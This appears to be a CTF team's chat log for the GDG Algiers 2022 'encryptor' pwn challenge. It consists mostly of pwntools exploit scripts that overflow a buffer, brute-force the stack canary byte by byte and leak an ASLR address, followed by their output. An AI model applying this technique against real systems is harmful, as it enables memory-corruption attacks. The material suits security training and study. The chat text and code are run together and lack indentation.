Project Sekai
🔒 GDG Algiers CTF 2022 / ✅-pwn-encryptor
from pwn import *
from arc4 import ARC4
key = b"lmao"
rc4 = ARC4(key)
kek = rc4.decrypt(b"\x00")
#r = remote("127.0.0.1", 1337)
r = remote("pwn.chal.ctf.gdgalgiers.com", 1401)
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", key)
r.sendafter(b"Data", kek+b"a"*100)
r.interactive()
leaking a bunch of stufffrom pwn import *
from arc4 import ARC4
REMOTE = True
key = b"mykey6" # doesn't matter
rc4 = ARC4(key)
if REMOTE:
stack_cookie_data = b""
else:
stack_cookie_data = b""
while len(stack_cookie_data) < 8:
for i in range(1, 256):
print(i, stack_cookie_data)
if REMOTE:
r = remote("pwn.chal.ctf.gdgalgiers.com", 1401)
else:
r = remote("127.0.0.1", 1337)
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", key)
r.sendafter(b"Data", b"a"*0x108+stack_cookie_data+p8(i))
if len(r.recvall()) > 256:
print("Got loads of data")
stack_cookie_data += p8(i)
break
stack_cookie_data += b"aaaaaaaa" # rbp-0x10
stack_cookie_data += b"aaaaaaaa" # rbp-0x8
stack_cookie_data += b"aaaaaaaa" # rbp
stack_cookie_data += b""
while len(stack_cookie_data) < 40:
for i in range(1, 256):
print(i, stack_cookie_data)
if REMOTE:
r = remote("pwn.chal.ctf.gdgalgiers.com", 1401)
else:
r = remote("127.0.0.1", 1337)
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", key)
r.sendafter(b"Data", b"a"*0x108+stack_cookie_data+p8(i))
if len(r.recvall(timeout=2)) > 256:
print("Got loads of data")
stack_cookie_data += p8(i)
break
print(stack_cookie_data)
rc4 = ARC4(key)
leaked_data = rc4.decrypt(b"a"*0x108+stack_cookie_data)[0x108:]
print(leaked_data) # extract cookie [:8], and aslr [-8:]
kkkk
so idc much if i dont get a good rank now
pybind11::detail::argument_loader according to my gdbpybind11::detail::argument_loader according to my gdb 
from pwn import *
from arc4 import ARC4
REMOTE = True
key = b"mykey6892y398ey19823791251283712312"
def enc(k,data):
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", k)
r.sendafter(b"Data", data)
if REMOTE:
stack_cookie_data = b""
else:
stack_cookie_data = b""
while len(stack_cookie_data) < 8:
for i in range(1, 256):
print(i, stack_cookie_data)
if REMOTE:
r = remote("pwn.chal.ctf.gdgalgiers.com", 1401)
else:
r = remote("127.0.0.1", 1337)
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", key)
r.sendafter(b"Data", b"a"*0x108+stack_cookie_data+p8(i))
if len(r.recvall()) > 256:
print("Got loads of data")
stack_cookie_data += p8(i)
break
stack_cookie_data += b"aaaaaaaa" # rbp-0x10
stack_cookie_data += b"aaaaaaaa" # rbp-0x8
stack_cookie_data += b"aaaaaaaa" # rbp
stack_cookie_data += b""
while len(stack_cookie_data) < 40:
for i in range(1, 256):
print(i, stack_cookie_data)
if REMOTE:
r = remote("pwn.chal.ctf.gdgalgiers.com", 1401)
else:
r = remote("127.0.0.1", 1337)
r.sendlineafter(b"implementation", b"2")
r.sendafter(b"Key", key)
r.sendafter(b"Data", b"a"*0x108+stack_cookie_data+p8(i))
if len(r.recvall(timeout=2)) > 256:
print("Got loads of data")
stack_cookie_data += p8(i)
break
print(stack_cookie_data)
rc4 = ARC4(key)
leaked_data = rc4.decrypt(b"a"*0x108+stack_cookie_data)[0x108:]
cookie = int.from_bytes(leaked_data[:8],byteorder='little')
aslr = int.from_bytes(leaked_data[-8:],byteorder='little')log.info("COOKIE: " + hex(cookie))
log.info("ASLR ENCRYPTOR: " + hex(aslr)) (edited)178 b'\x15%\xa5\x01\x83\xf7\x07'
[+] Opening connection to pwn.chal.ctf.gdgalgiers.com on port 1401: Done
[+] Receiving all data: Done (282B)
[*] Closed connection to pwn.chal.ctf.gdgalgiers.com port 1401
Got loads of data
1 b'\x15%\xa5\x01\x83\xf7\x07\xb2aaaaaaaaaaaaaaaaaaaaaaaa'[*] COOKIE: 0xc4c8bf36fb8db800
[*] ASLR ENCRYPTOR: 0x7f637d8f377a (edited)
